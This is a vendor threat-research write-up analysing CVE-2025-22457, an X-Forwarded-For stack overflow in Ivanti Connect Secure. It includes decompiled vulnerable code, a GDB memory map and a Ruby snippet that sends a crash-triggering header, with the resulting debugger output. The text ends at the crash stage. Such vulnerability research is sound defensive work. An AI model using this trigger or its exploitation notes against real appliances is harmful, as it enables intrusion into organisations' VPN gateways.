Rapid7
Threat Research

Rapid7 Analysis: CVE-2025-22457

|Last updated on Jun 16, 2026|29 min read

Overview

On April 3, 2025, Ivanti published an advisory for CVE-2025-22457, an unauthenticated remote code execution vulnerability due to a stack based buffer overflow. This vulnerability affects Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, and ZTA Gateways. Ivanti, in conjunction with the incident response firm Mandiant, also disclosed that this vulnerability was exploited in the wild by a suspected China-nexus threat actor.

Interestingly, the disclosure of CVE-2025-22457 on April 3, postdates the actual discovery and patching of the vulnerability by several months. Ivanti states that they discovered this vulnerability and patched it circa February 2025; however, due to Ivanti’s understanding of the issue at the time, it was not patched as a security vulnerability, but rather as a product bug. According to the vendor, that decision stemmed from the perceived complexity in leveraging the vulnerability for exploitation.

It has transpired that a China-nexus threat actor was able to reverse engineer the February 2025 patch, discover the vulnerability, and then proceed to build a successful exploit in spite of the complexity in leveraging the vulnerability for remote code execution. This is a salient reminder that state-sponsored threat actors are actively reverse engineering vendor patches for high-profile software targets, and are able to identify silently patched (or otherwise not publicly disclosed) vulnerabilities. Additionally, state-sponsored threat actors have both significant time and expertise to develop nuanced and complex exploits against high-profile targets. This highlights what is arguably an asymmetry between threat actor resources and capabilities, and technology producer resources and capabilities when making impact judgments about potential security issues.

This analysis details the Rapid7 vulnerability research team’s work in building a remote code execution exploit for CVE-2025-22457, targeting Ivanti Connect Secure version 22.7r2.4. For reference, it took us approximately 4 business days of work to go from an initial crash to RCE.

The Vulnerability

Security firm watchTowr published a blog on April 4, 2025 that detailed the root cause of the vulnerability. For completeness, we will also outline the vulnerability below.

The vulnerability lies in the HTTP(S) web server, located in the /home/bin/web binary. The function WebRequest::dispatchRequest will process an incoming HTTP request, and iterate over every HTTP header in the request. The following block of pseudo code (simplified from the original decompilation) shows how an X-Forwarded-For header value is processed.

// ...snip...

char * custom_ip_field = get_CUSTOM_IP_FIELD(); // “X-Forwarded-For”

char * current_header_name = ctx->header_name_array[header_index];

if ( !strcasecmp(current_header_name, custom_ip_field) )
{
  char buff50[50];

  char * current_header_value = ctx->header_value_array[header_index];

  size_t sz = strspn(current_header_value, "01234567890."); // <--- [1]

  char * alloc_ptr = alloca(sz + 2);

  strlcpy(alloc_ptr, ctx->header_value_array[header_index], sz + 1);

  strlcpy(buff50, ctx->header_value_array[header_index], sz + 1); // <--- [2]

  ctx->in_addrD8.s_addr = -1; // <--- [3]

  if ( inet_aton(current_header_value, &inp) ) {
    ctx->in_addrD8 = inp;
  }

  ctx->remoteAddress = strdup(buff50);
                  
  // ...snip...
}

// ...snip...

We can see from the above at [1] that if an HTTP request supplies an X-Forwarded-For header, the function strspn is used to count the number of leading characters in the header value that are either ASCII numbers, of a period character (e.g. any character within the character set 0123456789.). Then at [2], this count value sz is used during a call to strlcpy to copy the leading ASCII numbers or period characters from the HTTP header value to a fixed 50 character buffer on the stack, before null terminating the destination string, buff50.

As no length check is performed on sz, an attacker may supply an X-Forwarded-For header value with a length greater than 50 characters and overflow the buff50 buffer on the stack. However due to the use of strspn to count the number of characters to copy, the attacker can only overflow the buff50 buffer with characters from the character set of 0123456789..

Note [3] above, where a value is written to ctx->in_addrD8. The ctx variable is a parameter to WebRequest::dispatchRequest, and holds the state of the current request. As we will see, the ctx variable will become a crucial component for exploiting this vulnerability.

Exploitation

The limitation in the potential usable characters during the overflow makes exploitation challenging; typically an attacker would want to place arbitrary bytes in the range 0x00 - 0xFF within the overflow buffer, in order to overwrite a return address with an arbitrary value, or build out a Return Oriented Programming (ROP) chain that will contain pointers and other arbitrary values.

By only being able to overflow the buffer with characters from the character set 0123456789., the attacker is limited to bytes in the range 0x30 - 0x39 (The ASCII characters 0123456789), 0x2e (The ASCII . character), and 0x00 (An ASCII null terminator).

Using GDB, we can quickly see the issue with only being able to place characters from the character set 0123456789. in the overflow buffer. While Address Space Layout Randomization (ASLR) is in place, we know from our previous work on Ivanti Connect Secure that the target web binary is a 32-bit x86 process, and that only 9 bits of entropy are used. This makes brute forcing a single address possible in around ~512 attempts (2 to the power of 9). However, inspecting the memory layout below shows us that, notwithstanding ASLR, there is nothing actually mapped in an addressable range that is comprised of characters we can actually construct a valid pointer for (e.g. 0x39393939 or 0x2e2e2e2e). The main process binary, heap, and shared objects are all mapped from around 0x56000000 and above.

(gdb) info proc mapp
process 30410
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
        0x565c6000 0x5672a000   0x164000        0x0 /home/bin/web
        0x5672b000 0x5672e000     0x3000   0x164000 /home/bin/web
        0x5672e000 0x56730000     0x2000   0x167000 /home/bin/web
        0x56730000 0x56736000     0x6000        0x0
        0x568c7000 0x56abb000   0x1f4000        0x0 [heap]
        0xe7396000 0xe7397000     0x1000        0x0 /data/runtime/.distmap
        0xe7397000 0xe740c000    0x75000        0x0
        0xe740c000 0xec40c000  0x5000000        0x0 /data/runtime/mtmp/lmdb/datae/data.mdb
        0xec40c000 0xec44d000    0x41000        0x0 /data/runtime/mtmp/lmdb/datae/lock.mdb
        0xec44d000 0xec4ae000    0x61000        0x0
        0xec4ae000 0xec4af000     0x1000        0x0 /data/runtime/.shardmap
        0xec4af000 0xf14af000  0x5000000        0x0 /data/runtime/mtmp/lmdb/randomVal/data.mdb
        0xf14af000 0xf14f0000    0x41000        0x0 /data/runtime/mtmp/lmdb/randomVal/lock.mdb
        0xf14f0000 0xf14f1000     0x1000        0x0 /data/runtime/.sessiongen
        0xf14f1000 0xf14f5000     0x4000        0x0 /data/runtime/cockpit/dashboardCounters
        0xf14f5000 0xf14f6000     0x1000        0x0 /data/runtime/mtmp/webactivityflag
        0xf14f6000 0xf14f7000     0x1000        0x0 /data/var/runtime/tmp/.license_generation
        0xf14f7000 0xf14f8000     0x1000        0x0 /data/runtime/name
        0xf14f8000 0xf14f9000     0x1000        0x0 /data/var/runtime/tmp/.machineid
        0xf14f9000 0xf15fc000   0x103000        0x0
        0xf15fc000 0xf19fc000   0x400000        0x0 /data/runtime/mtmp/system
        0xf19fc000 0xf19fd000     0x1000        0x0 /data/runtime/.csctx
        0xf19fd000 0xf1a7b000    0x7e000        0x0 /home/config/schema.map
        0xf1a7b000 0xf1a7d000     0x2000        0x0 /data/runtime/.loginfo
        0xf1a7d000 0xf1a93000    0x16000        0x0 /data/var/tmp/web.statementcounters
        0xf1a93000 0xf1aab000    0x18000        0x0
        0xf1aab000 0xf1ad0000    0x25000        0x0
        0xf1ad0000 0xf1ad4000     0x4000        0x0 /lib/libattr.so.1.1.0
        0xf1ad4000 0xf1ad5000     0x1000     0x3000 /lib/libattr.so.1.1.0
        0xf1ad5000 0xf1ad6000     0x1000     0x4000 /lib/libattr.so.1.1.0
        0xf1ad6000 0xf1b02000    0x2c000        0x0 /home/lib/liblog4cpp.so.4
        0xf1b02000 0xf1b03000     0x1000    0x2c000 /home/lib/liblog4cpp.so.4
        0xf1b03000 0xf1b32000    0x2f000        0x0 /home/lib/liblog4shib.so.2
        0xf1b32000 0xf1b34000     0x2000    0x2e000 /home/lib/liblog4shib.so.2
        0xf1b34000 0xf1b35000     0x1000        0x0
        0xf1b35000 0xf1e9d000   0x368000        0x0 /home/lib/libxerces-c-3.2.so
        0xf1e9d000 0xf1ece000    0x31000   0x367000 /home/lib/libxerces-c-3.2.so
        0xf1ece000 0xf1f16000    0x48000        0x0 /home/lib/libiodbc.so.2
        0xf1f16000 0xf1f18000     0x2000    0x47000 /home/lib/libiodbc.so.2
        0xf1f18000 0xf32ea000  0x13d2000        0x0 /usr/lib/libicudata.so.50.2
        0xf32ea000 0xf32eb000     0x1000  0x13d1000 /usr/lib/libicudata.so.50.2
        0xf32eb000 0xf32ec000     0x1000  0x13d2000 /usr/lib/libicudata.so.50.2
        0xf32ec000 0xf34e9000   0x1fd000        0x0 /usr/lib/libicui18n.so.50.2
        0xf34e9000 0xf34f0000     0x7000   0x1fc000 /usr/lib/libicui18n.so.50.2
        0xf34f0000 0xf34f1000     0x1000   0x203000 /usr/lib/libicui18n.so.50.2
        0xf34f1000 0xf34f3000     0x2000        0x0
        0xf34f3000 0xf3655000   0x162000        0x0 /usr/lib/libicuuc.so.50.2
        0xf3655000 0xf365f000     0xa000   0x161000 /usr/lib/libicuuc.so.50.2
        0xf365f000 0xf3660000     0x1000   0x16b000 /usr/lib/libicuuc.so.50.2
        0xf3660000 0xf3664000     0x4000        0x0
        0xf3664000 0xf3679000    0x15000        0x0 /lib/libresolv.so.2
        0xf3679000 0xf367a000     0x1000    0x14000 /lib/libresolv.so.2
        0xf367a000 0xf367b000     0x1000    0x15000 /lib/libresolv.so.2
        0xf367b000 0xf367d000     0x2000        0x0
        0xf367d000 0xf36a5000    0x28000        0x0 /lib/liblzma.so.5.2.2
        0xf36a5000 0xf36a6000     0x1000    0x27000 /lib/liblzma.so.5.2.2
        0xf36a6000 0xf36a7000     0x1000    0x28000 /lib/liblzma.so.5.2.2
        0xf36a7000 0xf36a9000     0x2000        0x0 /lib/libfreebl3.so
        0xf36a9000 0xf36aa000     0x1000     0x1000 /lib/libfreebl3.so
        0xf36aa000 0xf36ab000     0x1000     0x2000 /lib/libfreebl3.so
        0xf36ab000 0xf36ac000     0x1000        0x0
        0xf36ac000 0xf3798000    0xec000        0x0 /usr/lib/libboost_regex-mt.so.1.53.0
        0xf3798000 0xf379b000     0x3000    0xeb000 /usr/lib/libboost_regex-mt.so.1.53.0
        0xf379b000 0xf379c000     0x1000    0xee000 /usr/lib/libboost_regex-mt.so.1.53.0
        0xf379c000 0xf379d000     0x1000        0x0
        0xf379d000 0xf37ab000     0xe000        0x0 /usr/lib/libboost_date_time-mt.so.1.53.0
        0xf37ab000 0xf37ac000     0x1000     0xd000 /usr/lib/libboost_date_time-mt.so.1.53.0
        0xf37ac000 0xf37ad000     0x1000     0xe000 /usr/lib/libboost_date_time-mt.so.1.53.0
        0xf37ad000 0xf3806000    0x59000        0x0 /home/lib/libsoftokn3.so
        0xf3806000 0xf3807000     0x1000    0x59000 /home/lib/libsoftokn3.so
        0xf3807000 0xf380a000     0x3000    0x59000 /home/lib/libsoftokn3.so
        0xf380a000 0xf380b000     0x1000    0x5c000 /home/lib/libsoftokn3.so
        0xf380b000 0xf380f000     0x4000        0x0 /home/lib/libplc4.so
        0xf380f000 0xf3810000     0x1000     0x3000 /home/lib/libplc4.so
        0xf3810000 0xf3811000     0x1000     0x4000 /home/lib/libplc4.so
        0xf3811000 0xf3812000     0x1000        0x0
        0xf3812000 0xf3815000     0x3000        0x0 /home/lib/libplds4.so
        0xf3815000 0xf3816000     0x1000     0x2000 /home/lib/libplds4.so
        0xf3816000 0xf3817000     0x1000     0x3000 /home/lib/libplds4.so
        0xf3817000 0xf384f000    0x38000        0x0 /home/lib/libnspr4.so
        0xf384f000 0xf3850000     0x1000    0x37000 /home/lib/libnspr4.so
        0xf3850000 0xf3851000     0x1000    0x38000 /home/lib/libnspr4.so
        0xf3851000 0xf3853000     0x2000        0x0
        0xf3853000 0xf38d9000    0x86000        0x0 /home/lib/libnss3.so
        0xf38d9000 0xf38da000     0x1000    0x86000 /home/lib/libnss3.so
        0xf38da000 0xf38de000     0x4000    0x86000 /home/lib/libnss3.so
        0xf38de000 0xf38df000     0x1000    0x8a000 /home/lib/libnss3.so
        0xf38df000 0xf392f000    0x50000        0x0 /home/lib/libical.so.0.44.0
        0xf392f000 0xf3930000     0x1000    0x50000 /home/lib/libical.so.0.44.0
        0xf3930000 0xf3938000     0x8000    0x50000 /home/lib/libical.so.0.44.0
        0xf3938000 0xf3939000     0x1000    0x58000 /home/lib/libical.so.0.44.0
        0xf3939000 0xf393a000     0x1000        0x0
        0xf393a000 0xf3943000     0x9000        0x0 /home/lib/libcockpitgraph.so
        0xf3943000 0xf3944000     0x1000     0x8000 /home/lib/libcockpitgraph.so
        0xf3944000 0xf3945000     0x1000     0x9000 /home/lib/libcockpitgraph.so
        0xf3945000 0xf3946000     0x1000        0x0
        0xf3946000 0xf394a000     0x4000        0x0 /lib/libcap.so.2
        0xf394a000 0xf394b000     0x1000     0x3000 /lib/libcap.so.2
        0xf394b000 0xf394c000     0x1000     0x4000 /lib/libcap.so.2
        0xf394c000 0xf3dc3000   0x477000        0x0 /home/lib/libsaml.so.12.0.0
        0xf3dc3000 0xf3dc4000     0x1000   0x477000 /home/lib/libsaml.so.12.0.0
        0xf3dc4000 0xf3f75000   0x1b1000   0x477000 /home/lib/libsaml.so.12.0.0
        0xf3f75000 0xf3f77000     0x2000   0x628000 /home/lib/libsaml.so.12.0.0
        0xf3f77000 0xf417a000   0x203000        0x0 /home/lib/libxmltooling.so.10.0.0
        0xf417a000 0xf41ed000    0x73000   0x202000 /home/lib/libxmltooling.so.10.0.0
        0xf41ed000 0xf41ef000     0x2000   0x275000 /home/lib/libxmltooling.so.10.0.0
        0xf41ef000 0xf42e3000    0xf4000        0x0 /home/lib/libxml-security-c.so.20
        0xf42e3000 0xf42e9000     0x6000    0xf3000 /home/lib/libxml-security-c.so.20
        0xf42e9000 0xf42eb000     0x2000    0xf9000 /home/lib/libxml-security-c.so.20
        0xf42eb000 0xf42ec000     0x1000        0x0
        0xf42ec000 0xf42f0000     0x4000        0x0 /home/lib/libmaxminddb.so.0
        0xf42f0000 0xf42f1000     0x1000     0x3000 /home/lib/libmaxminddb.so.0
        0xf42f1000 0xf4311000    0x20000        0x0 /home/lib/libdsauth_sqliodbc.so
        0xf4311000 0xf4312000     0x1000    0x20000 /home/lib/libdsauth_sqliodbc.so
        0xf4312000 0xf4313000     0x1000    0x20000 /home/lib/libdsauth_sqliodbc.so
        0xf4313000 0xf4314000     0x1000    0x21000 /home/lib/libdsauth_sqliodbc.so
        0xf4314000 0xf438f000    0x7b000        0x0 /home/lib/libcurl.so.4
        0xf438f000 0xf4391000     0x2000    0x7a000 /home/lib/libcurl.so.4
        0xf4391000 0xf4393000     0x2000    0x7c000 /home/lib/libcurl.so.4
        0xf4393000 0xf43a7000    0x14000        0x0 /home/lib/liblmdb-0.9.18.so
        0xf43a7000 0xf43a8000     0x1000    0x13000 /home/lib/liblmdb-0.9.18.so
        0xf43a8000 0xf43af000     0x7000        0x0 /lib/librt.so.1
        0xf43af000 0xf43b0000     0x1000     0x6000 /lib/librt.so.1
        0xf43b0000 0xf43b1000     0x1000     0x7000 /lib/librt.so.1
        0xf43b1000 0xf43b2000     0x1000        0x0
        0xf43b2000 0xf474a000   0x398000        0x0 /home/lib/libexportxml.so
        0xf474a000 0xf474b000     0x1000   0x397000 /home/lib/libexportxml.so
        0xf474b000 0xf476d000    0x22000   0x398000 /home/lib/libexportxml.so
        0xf476d000 0xf4afd000   0x390000        0x0 /home/lib/libexportimport.so
        0xf4afd000 0xf4afe000     0x1000   0x38f000 /home/lib/libexportimport.so
        0xf4afe000 0xf4b20000    0x22000   0x390000 /home/lib/libexportimport.so
        0xf4b20000 0xf4c0c000    0xec000        0x0 /lib/libboost_regex.so.1.53.0
        0xf4c0c000 0xf4c0f000     0x3000    0xeb000 /lib/libboost_regex.so.1.53.0
        0xf4c0f000 0xf4c10000     0x1000    0xee000 /lib/libboost_regex.so.1.53.0
        0xf4c10000 0xf4c11000     0x1000        0x0
        0xf4c11000 0xf4c25000    0x14000        0x0 /lib/libboost_filesystem-mt.so.1.53.0
        0xf4c25000 0xf4c26000     0x1000    0x14000 /lib/libboost_filesystem-mt.so.1.53.0
        0xf4c26000 0xf4c27000     0x1000    0x14000 /lib/libboost_filesystem-mt.so.1.53.0
        0xf4c27000 0xf4c28000     0x1000    0x15000 /lib/libboost_filesystem-mt.so.1.53.0
        0xf4c28000 0xf4c2a000     0x2000        0x0 /lib/libboost_system-mt.so.1.53.0
        0xf4c2a000 0xf4c2b000     0x1000     0x2000 /lib/libboost_system-mt.so.1.53.0
        0xf4c2b000 0xf4c2c000     0x1000     0x2000 /lib/libboost_system-mt.so.1.53.0
        0xf4c2c000 0xf4c2d000     0x1000     0x3000 /lib/libboost_system-mt.so.1.53.0
        0xf4c2d000 0xf4c2e000     0x1000        0x0
        0xf4c2e000 0xf4c41000    0x13000        0x0 /lib/libboost_thread-mt.so.1.53.0
        0xf4c41000 0xf4c42000     0x1000    0x13000 /lib/libboost_thread-mt.so.1.53.0
        0xf4c42000 0xf4c43000     0x1000    0x13000 /lib/libboost_thread-mt.so.1.53.0
        0xf4c43000 0xf4c44000     0x1000    0x14000 /lib/libboost_thread-mt.so.1.53.0
        0xf4c44000 0xf4c55000    0x11000        0x0 /home/lib/libhiredis.so.1.0.0
        0xf4c55000 0xf4c56000     0x1000    0x10000 /home/lib/libhiredis.so.1.0.0
        0xf4c56000 0xf4c57000     0x1000    0x11000 /home/lib/libhiredis.so.1.0.0
        0xf4c57000 0xf4caa000    0x53000        0x0 /home/lib/libcdlncf.so
        0xf4caa000 0xf4cab000     0x1000    0x52000 /home/lib/libcdlncf.so
        0xf4cab000 0xf4cac000     0x1000    0x53000 /home/lib/libcdlncf.so
        0xf4cac000 0xf4cad000     0x1000        0x0
        0xf4cad000 0xf4cba000     0xd000        0x0 /home/lib/liblber-2.4-releng.so.2
        0xf4cba000 0xf4cbb000     0x1000     0xc000 /home/lib/liblber-2.4-releng.so.2
        0xf4cbb000 0xf4cbc000     0x1000     0xd000 /home/lib/liblber-2.4-releng.so.2
        0xf4cbc000 0xf4d03000    0x47000        0x0 /home/lib/libldap-2.4-releng.so.2
        0xf4d03000 0xf4d04000     0x1000    0x46000 /home/lib/libldap-2.4-releng.so.2
        0xf4d04000 0xf4d05000     0x1000    0x47000 /home/lib/libldap-2.4-releng.so.2
        0xf4d05000 0xf4d06000     0x1000        0x0
        0xf4d06000 0xf4e57000   0x151000        0x0 /home/lib/libxml2.so.2.9.11
        0xf4e57000 0xf4e5c000     0x5000   0x150000 /home/lib/libxml2.so.2.9.11
        0xf4e5c000 0xf4e5d000     0x1000   0x155000 /home/lib/libxml2.so.2.9.11
        0xf4e5d000 0xf4e5e000     0x1000        0x0
        0xf4e5e000 0xf4e62000     0x4000        0x0 /lib/libuuid.so.1
        0xf4e62000 0xf4e63000     0x1000     0x3000 /lib/libuuid.so.1
        0xf4e63000 0xf4e64000     0x1000     0x4000 /lib/libuuid.so.1
        0xf4e64000 0xf4e6b000     0x7000        0x0 /lib/libcrypt.so.1
        0xf4e6b000 0xf4e6c000     0x1000     0x7000 /lib/libcrypt.so.1
        0xf4e6c000 0xf4e6d000     0x1000     0x7000 /lib/libcrypt.so.1
        0xf4e6d000 0xf4e6e000     0x1000     0x8000 /lib/libcrypt.so.1
        0xf4e6e000 0xf4e95000    0x27000        0x0
        0xf4e95000 0xf4eac000    0x17000        0x0 /lib/libnsl-2.17.so
        0xf4eac000 0xf4ead000     0x1000    0x16000 /lib/libnsl-2.17.so
        0xf4ead000 0xf4eae000     0x1000    0x17000 /lib/libnsl-2.17.so
        0xf4eae000 0xf4eb0000     0x2000        0x0
        0xf4eb0000 0xf4edb000    0x2b000        0x0 /home/lib/libexpat.so.1.6.7
        0xf4edb000 0xf4edc000     0x1000    0x2b000 /home/lib/libexpat.so.1.6.7
        0xf4edc000 0xf4ede000     0x2000    0x2b000 /home/lib/libexpat.so.1.6.7
        0xf4ede000 0xf4edf000     0x1000    0x2d000 /home/lib/libexpat.so.1.6.7
        0xf4edf000 0xf4ee0000     0x1000        0x0
        0xf4ee0000 0xf4ee3000     0x3000        0x0 /lib/libdl.so.2
        0xf4ee3000 0xf4ee4000     0x1000     0x2000 /lib/libdl.so.2
        0xf4ee4000 0xf4ee5000     0x1000     0x3000 /lib/libdl.so.2
        0xf4ee5000 0xf50a9000   0x1c4000        0x0 /lib/libc.so.6
        0xf50a9000 0xf50aa000     0x1000   0x1c4000 /lib/libc.so.6
        0xf50aa000 0xf50ac000     0x2000   0x1c4000 /lib/libc.so.6
        0xf50ac000 0xf50ad000     0x1000   0x1c6000 /lib/libc.so.6
        0xf50ad000 0xf50b0000     0x3000        0x0
        0xf50b0000 0xf50c9000    0x19000        0x0 /lib/libgcc_s.so.1
        0xf50c9000 0xf50ca000     0x1000    0x18000 /lib/libgcc_s.so.1
        0xf50ca000 0xf50cb000     0x1000    0x19000 /lib/libgcc_s.so.1
        0xf50cb000 0xf510b000    0x40000        0x0 /lib/libm.so.6
        0xf510b000 0xf510c000     0x1000    0x3f000 /lib/libm.so.6
        0xf510c000 0xf510d000     0x1000    0x40000 /lib/libm.so.6
        0xf510d000 0xf51ec000    0xdf000        0x0 /lib/libstdc++.so.6.0.19
        0xf51ec000 0xf51ed000     0x1000    0xdf000 /lib/libstdc++.so.6.0.19
        0xf51ed000 0xf51f1000     0x4000    0xdf000 /lib/libstdc++.so.6.0.19
        0xf51f1000 0xf51f2000     0x1000    0xe3000 /lib/libstdc++.so.6.0.19
        0xf51f2000 0xf51fa000     0x8000        0x0
        0xf51fa000 0xf5233000    0x39000        0x0 /home/lib/libagentdcs.so
        0xf5233000 0xf5234000     0x1000    0x38000 /home/lib/libagentdcs.so
        0xf5234000 0xf5235000     0x1000    0x39000 /home/lib/libagentdcs.so
        0xf5235000 0xf5263000    0x2e000        0x0 /home/lib/libhtml5core.so
        0xf5263000 0xf5264000     0x1000    0x2e000 /home/lib/libhtml5core.so
        0xf5264000 0xf5265000     0x1000    0x2e000 /home/lib/libhtml5core.so
        0xf5265000 0xf5266000     0x1000    0x2f000 /home/lib/libhtml5core.so
        0xf5266000 0xf529f000    0x39000        0x0 /home/lib/libdssamllibs.so
        0xf529f000 0xf52a0000     0x1000    0x39000 /home/lib/libdssamllibs.so
        0xf52a0000 0xf52a1000     0x1000    0x39000 /home/lib/libdssamllibs.so
        0xf52a1000 0xf52a2000     0x1000    0x3a000 /home/lib/libdssamllibs.so
        0xf52a2000 0xf57f6000   0x554000        0x0 /home/lib/libPKIF.so.7.0.0
        0xf57f6000 0xf5822000    0x2c000   0x553000 /home/lib/libPKIF.so.7.0.0
        0xf5822000 0xf584f000    0x2d000   0x57f000 /home/lib/libPKIF.so.7.0.0
        0xf584f000 0xf5851000     0x2000        0x0
        0xf5851000 0xf5863000    0x12000        0x0 /home/lib/libpkif.so
        0xf5863000 0xf5864000     0x1000    0x12000 /home/lib/libpkif.so
        0xf5864000 0xf5865000     0x1000    0x12000 /home/lib/libpkif.so
        0xf5865000 0xf5866000     0x1000    0x13000 /home/lib/libpkif.so
        0xf5866000 0xf5867000     0x1000        0x0
        0xf5867000 0xf5949000    0xe2000        0x0 /home/lib/libprotobuf.so.4.0.0
        0xf5949000 0xf594c000     0x3000    0xe2000 /home/lib/libprotobuf.so.4.0.0
        0xf594c000 0xf5998000    0x4c000        0x0 /home/lib/libzmq.so.4.0.0
        0xf5998000 0xf599a000     0x2000    0x4c000 /home/lib/libzmq.so.4.0.0
        0xf599a000 0xf59b1000    0x17000        0x0 /lib/libpthread.so.0
        0xf59b1000 0xf59b2000     0x1000    0x16000 /lib/libpthread.so.0
        0xf59b2000 0xf59b3000     0x1000    0x17000 /lib/libpthread.so.0
        0xf59b3000 0xf59b5000     0x2000        0x0
        0xf59b5000 0xf59ca000    0x15000        0x0 /lib/libz.so.1.2.7
        0xf59ca000 0xf59cb000     0x1000    0x14000 /lib/libz.so.1.2.7
        0xf59cb000 0xf59cc000     0x1000    0x15000 /lib/libz.so.1.2.7
        0xf59cc000 0xf5a75000    0xa9000        0x0 /lib/libssl.so.3
        0xf5a75000 0xf5a76000     0x1000    0xa9000 /lib/libssl.so.3
        0xf5a76000 0xf5a7b000     0x5000    0xa9000 /lib/libssl.so.3
        0xf5a7b000 0xf5a7f000     0x4000    0xae000 /lib/libssl.so.3
        0xf5a7f000 0xf5a80000     0x1000        0x0
        0xf5a80000 0xf5a83000     0x3000        0x0 /home/lib/libsvcmonitor.so
        0xf5a83000 0xf5a84000     0x1000     0x2000 /home/lib/libsvcmonitor.so
        0xf5a84000 0xf5a85000     0x1000     0x3000 /home/lib/libsvcmonitor.so
        0xf5a85000 0xf5f82000   0x4fd000        0x0 /home/lib/libdslibs.so
        0xf5f82000 0xf5f83000     0x1000   0x4fd000 /home/lib/libdslibs.so
        0xf5f83000 0xf5f8a000     0x7000   0x4fd000 /home/lib/libdslibs.so
        0xf5f8a000 0xf5f96000     0xc000   0x504000 /home/lib/libdslibs.so
        0xf5f96000 0xf5fab000    0x15000        0x0
        0xf5fab000 0xf5fd2000    0x27000        0x0 /home/lib/libdsagentd.so
        0xf5fd2000 0xf5fd3000     0x1000    0x26000 /home/lib/libdsagentd.so
        0xf5fd3000 0xf5fd4000     0x1000    0x27000 /home/lib/libdsagentd.so
        0xf5fd4000 0xf6045000    0x71000        0x0 /home/lib/libwebsockets.so.18
        0xf6045000 0xf6046000     0x1000    0x71000 /home/lib/libwebsockets.so.18
        0xf6046000 0xf6047000     0x1000    0x71000 /home/lib/libwebsockets.so.18
        0xf6047000 0xf6048000     0x1000    0x72000 /home/lib/libwebsockets.so.18
        0xf6048000 0xf6472000   0x42a000        0x0 /home/lib/libdspsamllibs.so
        0xf6472000 0xf6475000     0x3000   0x429000 /home/lib/libdspsamllibs.so
        0xf6475000 0xf6497000    0x22000   0x42c000 /home/lib/libdspsamllibs.so
        0xf6497000 0xf6499000     0x2000        0x0
        0xf6499000 0xf79ff000  0x1566000        0x0 /home/lib/libdsplibs.so
        0xf79ff000 0xf7a00000     0x1000  0x1566000 /home/lib/libdsplibs.so
        0xf7a00000 0xf7a15000    0x15000  0x1566000 /home/lib/libdsplibs.so
        0xf7a15000 0xf7a4e000    0x39000  0x157b000 /home/lib/libdsplibs.so
        0xf7a4e000 0xf7af1000    0xa3000        0x0
        0xf7af1000 0xf7ed6000   0x3e5000        0x0 /lib/libcrypto.so.3
        0xf7ed6000 0xf7ed7000     0x1000   0x3e5000 /lib/libcrypto.so.3
        0xf7ed7000 0xf7f09000    0x32000   0x3e5000 /lib/libcrypto.so.3
        0xf7f09000 0xf7f0b000     0x2000   0x417000 /lib/libcrypto.so.3
        0xf7f0b000 0xf7f0d000     0x2000        0x0
        0xf7f0d000 0xf7f3e000    0x31000        0x0 /home/lib/libdspreload.so
        0xf7f3e000 0xf7f3f000     0x1000    0x30000 /home/lib/libdspreload.so
        0xf7f3f000 0xf7f41000     0x2000    0x31000 /home/lib/libdspreload.so
        0xf7f41000 0xf7f42000     0x1000        0x0
        0xf7f42000 0xf7f46000     0x4000        0x0 /lib/libsafe.so
        0xf7f46000 0xf7f47000     0x1000     0x3000 /lib/libsafe.so
        0xf7f47000 0xf7f49000     0x2000        0x0
        0xf7f49000 0xf7f4c000     0x3000        0x0 [vvar]
        0xf7f4c000 0xf7f4e000     0x2000        0x0 [vdso]
        0xf7f4e000 0xf7f70000    0x22000        0x0 /lib/ld-linux.so.2
        0xf7f70000 0xf7f71000     0x1000    0x21000 /lib/ld-linux.so.2
        0xf7f71000 0xf7f72000     0x1000    0x22000 /lib/ld-linux.so.2
        0xff7f7000 0xff884000    0x8d000        0x0 [stack]
(gdb)

It will not be possible to overflow a return address, as if we do we will not be able to address anything useful. To continue, we need to understand what other things we can target during the overflow that are not the saved return address on the stack.

Triggering the Overflow

To explore this, we can use the Ruby snippet below to construct a simple HTTP request to trigger the overflow.

buffer = '1' * 622

buffer += [
  0x31313131, # ebx
  0x32323232, # esi
  0x33333333, # edi
  0x34343434, # ebp
  0x35353535, # eip
  0x36363636  # [ebp+8]
].pack('V*')

body  = "GET / HTTP/1.1\r\n"
body << "X-Forwarded-For: #{buffer}\r\n"
body << "\r\n"

# transmit body as a HTTP(S) request...

The resulting 646 character value of 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122223333444455556666 will overflow the stack, and we can see in GDB that a segmentation fault (SIGSEGV) has occurred.

Program received signal SIGSEGV, Segmentation fault.
0x5668832b in ?? ()
(gdb) i r
eax            0x286    646
ecx            0x36     54
edx            0x36363636       909522486
ebx            0x5672e000       1450369024
esp            0xff87e560       0xff87e560
ebp            0xff87eb88       0xff87eb88
esi            0xff87e90e       -7870194
edi            0x0      0
eip            0x5668832b       0x5668832b
eflags         0x210202 [ IF RF ID ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb) bt 4
#0  0x5668832b in ?? ()
#1  0x35353535 in ?? ()
#2  0x36363636 in ?? ()
#3  0x566f7500 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) x/8i $eip-16
   0x5668831b:  cmp    BYTE PTR [ecx+0x44892434],cl
   0x56688321:  and    al,0x4
   0x56688323:  call   0x565ec880 <strlcpy@plt>
   0x56688328:  mov    edx,DWORD PTR [ebp+0x8]
=> 0x5668832b:  mov    DWORD PTR [edx+0xd8],0xffffffff
   0x56688335:  lea    edx,[ebp-0x140]
   0x5668833b:  mov    DWORD PTR [esp+0x4],edx
   0x5668833f:  mov    eax,DWORD PTR [ebp-0x304]
(gdb) x/1xw $ebp+8
0xff87eb90:     0x36363636
(gdb)

